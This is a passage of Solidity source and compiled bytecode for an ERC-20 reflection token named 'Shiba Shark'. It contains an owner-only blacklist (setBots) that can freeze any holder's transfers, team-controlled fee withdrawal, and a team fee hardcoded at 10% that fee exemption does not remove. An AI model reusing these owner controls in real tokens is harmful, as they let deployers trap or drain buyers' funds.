returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaShark is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Shiba Shark";
string private constant _symbol = " SHIBS ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 10);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612782565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061284c565b61045e565b60405161017891906128a7565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906128d1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128ec565b61048d565b6040516101e091906128a7565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061293f565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612988565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129cf565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061293f565b610783565b6040516102b191906128d1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612a0b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612782565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061284c565b61098d565b60405161035b91906128a7565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612b6e565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612bb7565b6110ac565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612be4565b6111f5565b60405161041891906128d1565b60405180910390f35b60606040518060400160405280600c81526020017f20536869626120536861726b0000000000000000000000000000000000000000815250905090565b600061047261046b61127c565b8484611284565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144f565b61055b846104a661127c565b6105568560405180606001604052806028815260200161372660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e9092919063ffffffff16565b611284565b600190509392505050565b61056e61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612c70565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612c70565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c72565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cde565b9050919050565b6107dc61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612c70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f2053484942532000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127c565b848461144f565b6001905092915050565b6109b361127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612c70565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64612c90565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990612cee565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4c565b50565b610b5761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612c70565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612d83565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611284565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612db8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612db8565b6040518363ffffffff1660e01b8152600401610df9929190612de5565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612db8565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e53565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ec9565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611056929190612f1c565b602060405180830381600087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a89190612f5a565b5050565b6110b461127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890612c70565b60405180910390fd5b60008111611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90612fd3565b60405180910390fd5b6111b360646111a583683635c9adc5dea00000611fd490919063ffffffff16565b61204f90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111ea91906128d1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90613065565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b906130f7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144291906128d1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690613189565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115269061321b565b60405180910390fd5b60008111611572576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611569906132ad565b60405180910390fd5b61157a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e857506115b8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4b57600e60179054906101000a900460ff161561181b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181a57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176461127c565b73ffffffffffffffffffffffffffffffffffffffff1614806117da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c261127c565b73ffffffffffffffffffffffffffffffffffffffff16145b611819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181090613319565b60405180910390fd5b5b5b600f5481111561182a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ce5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d757600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119825750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f05750600e60179054906101000a900460ff165b15611a915742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4057600080fd5b603c42611a4d9190613339565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9c30610783565b9050600e60159054906101000a900460ff16158015611b095750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b215750600e60169054906101000a900460ff165b15611b4957611b2f81611d4c565b60004790506000811115611b4757611b4647611c72565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfc57600090505b611c0884848484612099565b50505050565b6000838311158290611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d9190612782565b60405180910390fd5b5060008385611c65919061338f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cda573d6000803e3d6000fd5b5050565b6000600654821115611d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1c90613435565b60405180910390fd5b6000611d2f6120c6565b9050611d44818461204f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8457611d83612a2b565b5b604051908082528060200260200182016040528015611db25781602001602082028036833780820191505090505b5090503081600081518110611dca57611dc9612c90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6c57600080fd5b505afa158015611e80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea49190612db8565b81600181518110611eb857611eb7612c90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611284565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f83959493929190613513565b600060405180830381600087803b158015611f9d57600080fd5b505af1158015611fb1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe75760009050612049565b60008284611ff5919061356d565b905082848261200491906135f6565b14612044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203b90613699565b60405180910390fd5b809150505b92915050565b600061209183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f1565b905092915050565b806120a7576120a6612154565b5b6120b2848484612185565b806120c0576120bf612350565b5b50505050565b60008060006120d3612362565b915091506120ea818361204f90919063ffffffff16565b9250505090565b60008083118290612138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212f9190612782565b60405180910390fd5b506000838561214791906135f6565b9050809150509392505050565b600060085414801561216857506000600954145b1561217257612183565b600060088190555060006009819055505b565b600080600080600080612197876123c4565b9550955095509550955095506121f586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d6816124d3565b6122e08483612590565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233d91906128d1565b60405180910390a3505050505050505050565b60056008819055506005600981905550565b600080600060065490506000683635c9adc5dea000009050612398683635c9adc5dea0000060065461204f90919063ffffffff16565b8210156123b757600654683635c9adc5dea000009350935050506123c0565b81819350935050505b9091565b60008060008060008060008060006123e08a600854600a6125ca565b92509250925060006123f06120c6565b905060008060006124038e878787612660565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0e565b905092915050565b60008082846124849190613339565b9050838110156124c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c090613705565b60405180910390fd5b8091505092915050565b60006124dd6120c6565b905060006124f48284611fd490919063ffffffff16565b905061254881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a58260065461242b90919063ffffffff16565b6006819055506125c08160075461247590919063ffffffff16565b6007819055505050565b6000806000806125f660646125e8888a611fd490919063ffffffff16565b61204f90919063ffffffff16565b905060006126206064612612888b611fd490919063ffffffff16565b61204f90919063ffffffff16565b905060006126498261263b858c61242b90919063ffffffff16565b61242b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126798589611fd490919063ffffffff16565b905060006126908689611fd490919063ffffffff16565b905060006126a78789611fd490919063ffffffff16565b905060006126d0826126c2858761242b90919063ffffffff16565b61242b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612723578082015181840152602081019050612708565b83811115612732576000848401525b50505050565b6000601f19601f8301169050919050565b6000612754826126e9565b61275e81856126f4565b935061276e818560208601612705565b61277781612738565b840191505092915050565b6000602082019050818103600083015261279c8184612749565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127e3826127b8565b9050919050565b6127f3816127d8565b81146127fe57600080fd5b50565b600081359050612810816127ea565b92915050565b6000819050919050565b61282981612816565b811461283457600080fd5b50565b60008135905061284681612820565b92915050565b60008060408385031215612863576128626127ae565b5b600061287185828601612801565b925050602061288285828601612837565b9150509250929050565b60008115159050919050565b6128a18161288c565b82525050565b60006020820190506128bc6000830184612898565b92915050565b6128cb81612816565b82525050565b60006020820190506128e660008301846128c2565b92915050565b600080600060608486031215612905576129046127ae565b5b600061291386828701612801565b935050602061292486828701612801565b925050604061293586828701612837565b9150509250925092565b600060208284031215612955576129546127ae565b5b600061296384828501612801565b91505092915050565b600060ff82169050919050565b6129828161296c565b82525050565b600060208201905061299d6000830184612979565b92915050565b6129ac8161288c565b81146129b757600080fd5b50565b6000813590506129c9816129a3565b92915050565b6000602082840312156129